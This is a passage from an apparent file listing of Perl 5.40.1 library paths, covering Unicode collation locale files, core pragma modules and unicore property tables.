"/usr/share/perl/5.40.1/Unicode/Collate/Locale/si.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/si_dict.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sk.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sl.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sq.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sr.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sv.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/sv_refo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ta.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/te.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/th.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/tn.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/to.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/tr.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ug_cyrl.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/uk.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/ur.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/vi.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/vo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/wae.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/wo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/yo.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_big5.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_gb.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_pin.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_strk.pl", "/usr/share/perl/5.40.1/Unicode/Collate/Locale/zh_zhu.pl", "/usr/share/perl/5.40.1/Unicode/Collate/allkeys.txt", "/usr/share/perl/5.40.1/Unicode/Collate/keys.txt", "/usr/share/perl/5.40.1/Unicode/UCD.pm", "/usr/share/perl/5.40.1/User/grent.pm", "/usr/share/perl/5.40.1/User/pwent.pm", "/usr/share/perl/5.40.1/XSLoader.pm", "/usr/share/perl/5.40.1/_charnames.pm", "/usr/share/perl/5.40.1/autodie.pm", "/usr/share/perl/5.40.1/autodie/Scope/Guard.pm", "/usr/share/perl/5.40.1/autodie/Scope/GuardStack.pm", "/usr/share/perl/5.40.1/autodie/Util.pm", "/usr/share/perl/5.40.1/autodie/exception.pm", "/usr/share/perl/5.40.1/autodie/exception/system.pm", "/usr/share/perl/5.40.1/autodie/hints.pm", "/usr/share/perl/5.40.1/autodie/skip.pm", "/usr/share/perl/5.40.1/autouse.pm", "/usr/share/perl/5.40.1/base.pm", "/usr/share/perl/5.40.1/bigfloat.pm", "/usr/share/perl/5.40.1/bigint.pm", "/usr/share/perl/5.40.1/bignum.pm", "/usr/share/perl/5.40.1/bigrat.pm", "/usr/share/perl/5.40.1/blib.pm", "/usr/share/perl/5.40.1/builtin.pm", "/usr/share/perl/5.40.1/bytes.pm", "/usr/share/perl/5.40.1/charnames.pm", "/usr/share/perl/5.40.1/constant.pm", "/usr/share/perl/5.40.1/deprecate.pm", "/usr/share/perl/5.40.1/diagnostics.pm", "/usr/share/perl/5.40.1/dumpvar.pl", "/usr/share/perl/5.40.1/encoding/warnings.pm", "/usr/share/perl/5.40.1/experimental.pm", "/usr/share/perl/5.40.1/feature.pm", "/usr/share/perl/5.40.1/fields.pm", "/usr/share/perl/5.40.1/filetest.pm", "/usr/share/perl/5.40.1/if.pm", "/usr/share/perl/5.40.1/integer.pm", "/usr/share/perl/5.40.1/less.pm", "/usr/share/perl/5.40.1/locale.pm", "/usr/share/perl/5.40.1/meta_notation.pm", "/usr/share/perl/5.40.1/ok.pm", "/usr/share/perl/5.40.1/open.pm", "/usr/share/perl/5.40.1/overload.pm", "/usr/share/perl/5.40.1/overload/numbers.pm", "/usr/share/perl/5.40.1/overloading.pm", "/usr/share/perl/5.40.1/parent.pm", "/usr/share/perl/5.40.1/perl5db.pl", "/usr/share/perl/5.40.1/perlfaq.pm", "/usr/share/perl/5.40.1/pod/perldiag.pod", "/usr/share/perl/5.40.1/sigtrap.pm", "/usr/share/perl/5.40.1/sort.pm", "/usr/share/perl/5.40.1/stable.pm", "/usr/share/perl/5.40.1/strict.pm", "/usr/share/perl/5.40.1/subs.pm", "/usr/share/perl/5.40.1/unicore/Blocks.txt", "/usr/share/perl/5.40.1/unicore/CombiningClass.pl", "/usr/share/perl/5.40.1/unicore/Decomposition.pl", "/usr/share/perl/5.40.1/unicore/Name.pl", "/usr/share/perl/5.40.1/unicore/Name.pm", "/usr/share/perl/5.40.1/unicore/NamedSequences.txt", "/usr/share/perl/5.40.1/unicore/SpecialCasing.txt", "/usr/share/perl/5.40.1/unicore/TestNorm.pl", "/usr/share/perl/5.40.1/unicore/To/Age.pl", "/usr/share/perl/5.40.1/unicore/To/Bc.pl", "/usr/share/perl/5.40.1/unicore/To/Bmg.pl", "/usr/share/perl/5.40.1/unicore/To/Bpb.pl", "/usr/share/perl/5.40.1/unicore/To/Bpt.pl", "/usr/share/perl/5.40.1/unicore/To/Cf.pl", "/usr/share/perl/5.40.1/unicore/To/Ea.pl", "/usr/share/perl/5.40.1/unicore/To/EqUIdeo.pl", "/usr/share/perl/5.40.1/unicore/To/GCB.pl", "/usr/share/perl/5.40.1/unicore/To/Gc.pl", "/usr/share/perl/5.40.1/unicore/To/Hst.pl", "/usr/share/perl/5.40.1/unicore/To/Identif2.pl", "/usr/share/perl/5.40.1/unicore/To/Identifi.pl", "/usr/share/perl/5.40.1/unicore/To/InPC.pl", "/usr/share/perl/5.40.1/unicore/To/InSC.pl", "/usr/share/perl/5.40.1/unicore/To/Isc.pl", "/usr/share/perl/5.40.1/unicore/To/Jg.pl", "/usr/share/perl/5.40.1/unicore/To/Jt.pl", "/usr/share/perl/5.40.1/unicore/To/Lb.pl", "/usr/share/perl/5.40.1/unicore/To/Lc.pl", "/usr/share/perl/5.40.1/unicore/To/NFCQC.pl", "/usr/share/perl/5.40.1/unicore/To/NFDQC.pl", "/usr/share/perl/5.40.1/unicore/To/NFKCCF.pl", "/usr/share/perl/5.40.1/unicore/To/NFKCQC.pl", "/usr/share/perl/5.40.1/unicore/To/NFKDQC.pl", "/usr/share/perl/5.40.1/unicore/To/Na1.pl", "/usr/share/perl/5.40.1/unicore/To/NameAlia.pl", "/usr/share/perl/5.40.1/unicore/To/Nt.pl", "/usr/share/perl/5.40.1/unicore/To/Nv.pl", "/usr/share/perl/5.40.1/unicore/To/PerlDeci.pl", "/usr/share/perl/5.40.1/unicore/To/SB.pl", "/usr/share/perl/5.40.1/unicore/To/Sc.pl", "/usr/share/perl/5.40.1/unicore/To/Scx.pl", "/usr/share/perl/5.40.1/unicore/To/Tc.pl", "/usr/share/perl/5.40.1/unicore/To/Uc.pl", "/usr/share/perl/5.40.1/unicore/To/Vo.pl", "/usr/share/perl/5.40.1/unicore/To/WB.pl", "/usr/share/perl/5.40.1/unicore/To/_PerlLB.pl", "/usr/share/perl/5.40.1/unicore/To/_PerlSCX.pl", "/usr/share/perl/5.40.1/unicore/UCD.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/NA.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V100.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V11.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V110.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V120.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V130.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V140.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V150.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V20.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V30.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V31.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V32.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V40.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V41.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V50.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V51.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V52.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V60.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V61.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V70.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V80.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V90.pl", "/usr/share/perl/5.40.1/unicore/lib/Alpha/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/AL.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/AN.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/B.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/BN.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/CS.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/EN.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/ES.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/ET.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/L.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/NSM.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/ON.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/R.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/WS.pl", "/usr/share/perl/5.40.1/unicore/lib/BidiC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/BidiM/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Blk/NB.pl", "/usr/share/perl/5.40.1/unicore/lib/Bpt/C.pl", "/usr/share/perl/5.40.1/unicore/lib/Bpt/N.pl", "/usr/share/perl/5.40.1/unicore/lib/Bpt/O.pl", "/usr/share/perl/5.40.1/unicore/lib/CE/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CI/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWCF/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWCM/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWKCF/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWL/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWT/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWU/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Cased/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/A.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/AL.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/AR.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/ATAR.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/B.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/BR.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/DB.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/NK.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/NR.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/OV.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/VR.pl", "/usr/share/perl/5.40.1/unicore/lib/CompEx/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/DI/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Dash/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Dep/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Dia/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Com.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Enc.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Fin.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Font.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Init.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Iso.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Med.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Nar.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Nb.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/NonCanon.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Sqr.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Sub.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Sup.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Vert.pl", "/usr/share/perl/5.40.1/unicore/lib/EBase/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/EComp/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/EPres/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/A.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/H.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/N.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/Na.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/W.pl", "/usr/share/perl/5.40.1/unicore/lib/Emoji/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Ext/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/ExtPict/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/CN.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/EX.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/LV.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/LVT.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/PP.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/SM.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/XX.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/C.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Cf.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Cn.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/L.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/LC.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Ll.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Lm.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Lo.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Lu.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/M.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Mc.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Me.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Mn.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/N.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Nd.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Nl.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/No.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/P.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pc.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pd.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pe.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pf.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pi.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Po.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Ps.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/S.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Sc.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Sk.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Sm.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/So.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Z.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Zs.pl", "/usr/share/perl/5.40.1/unicore/lib/GrBase/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/GrExt/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Hex/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Hst/NA.pl", "/usr/share/perl/5.40.1/unicore/lib/Hyphen/T.pl", "/usr/share/perl/5.40.1/unicore/lib/IDC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/IDS/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/IdStatus/Allowed.pl", "/usr/share/perl/5.40.1/unicore/lib/IdStatus/Restrict.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/DefaultI.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Exclusio.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Inclusio.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/LimitedU.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/NotChara.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/NotNFKC.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/NotXID.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Obsolete.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Recommen.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Technica.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Uncommon.pl", "/usr/share/perl/5.40.1/unicore/lib/Ideo/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/In/10_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/11_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/12_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/12_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/13_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/14_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/15_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/2_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/2_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/3_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/3_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/3_2.pl", "/usr/share/perl/5.40.1/unicore/lib/In/4_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/4_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/5_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/5_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/5_2.pl", "/usr/share/perl/5.40.1/unicore/lib/In/6_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/6_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/6_2.pl", "/usr/share/perl/5.40.1/unicore/lib/In/6_3.pl", "/usr/share/perl/5.40.1/unicore/lib/In/7_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/8_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/9_0.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Bottom.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/BottomAn.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Left.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/LeftAndR.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/NA.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Overstru.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Right.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Top.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/TopAndBo.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/TopAndL2.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/TopAndLe.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/TopAndRi.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/VisualOr.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Avagraha.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Bindu.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Cantilla.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona2.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona3.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona4.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona5.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona6.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona7.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona8.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona9.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consonan.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Geminati.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Invisibl.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Nukta.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Number.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Other.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/PureKill.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Syllable.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/ToneMark.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Virama.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Visarga.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Vowel.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/VowelDep.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/VowelInd.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Ain.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Alef.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Beh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Dal.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/FarsiYeh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Feh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Gaf.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Hah.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/HanifiRo.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Kaf.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Lam.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/NoJoinin.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Noon.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Qaf.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Reh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Sad.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Seen.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Tah.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Waw.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Yeh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/C.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/D.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/L.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/R.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/T.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/U.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/AI.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/AL.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/BA.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/BB.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/CJ.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/CL.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/CM.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/EX.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/GL.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/ID.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/IN.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/IS.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/NS.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/NU.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/OP.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/PO.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/PR.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/QU.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/SA.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/XX.pl", "/usr/share/perl/5.40.1/unicore/lib/Lower/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Math/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/NFCQC/M.pl", "/usr/share/perl/5.40.1/unicore/lib/NFCQC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/NFDQC/N.pl", "/usr/share/perl/5.40.1/unicore/lib/NFDQC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/NFKCQC/N.pl", "/usr/share/perl/5.40.1/unicore/lib/NFKCQC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/NFKDQC/N.pl", "/usr/share/perl/5.40.1/unicore/lib/NFKDQC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Nt/Di.pl", "/usr/share/perl/5.40.1/unicore/lib/Nt/None.pl", "/usr/share/perl/5.40.1/unicore/lib/Nt/Nu.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/0.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/10.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/100.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/10000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/100000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/11.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/12.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/13.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/14.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/15.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/16.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/17.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/18.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/19.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_16.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_2.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_3.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_4.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_6.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_8.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/2.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/20.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/200.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/2000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/20000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/2_3.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/3.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/30.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/300.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/3000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/30000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/3_16.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/3_4.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/4.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/40.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/400.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/4000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/40000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/5.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/50.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/500.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/5000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/50000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/6.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/60.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/600.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/6000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/60000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/7.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/70.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/700.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/7000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/70000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/8.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/80.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/800.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/8000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/80000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/9.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/90.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/900.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/9000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/90000.pl", 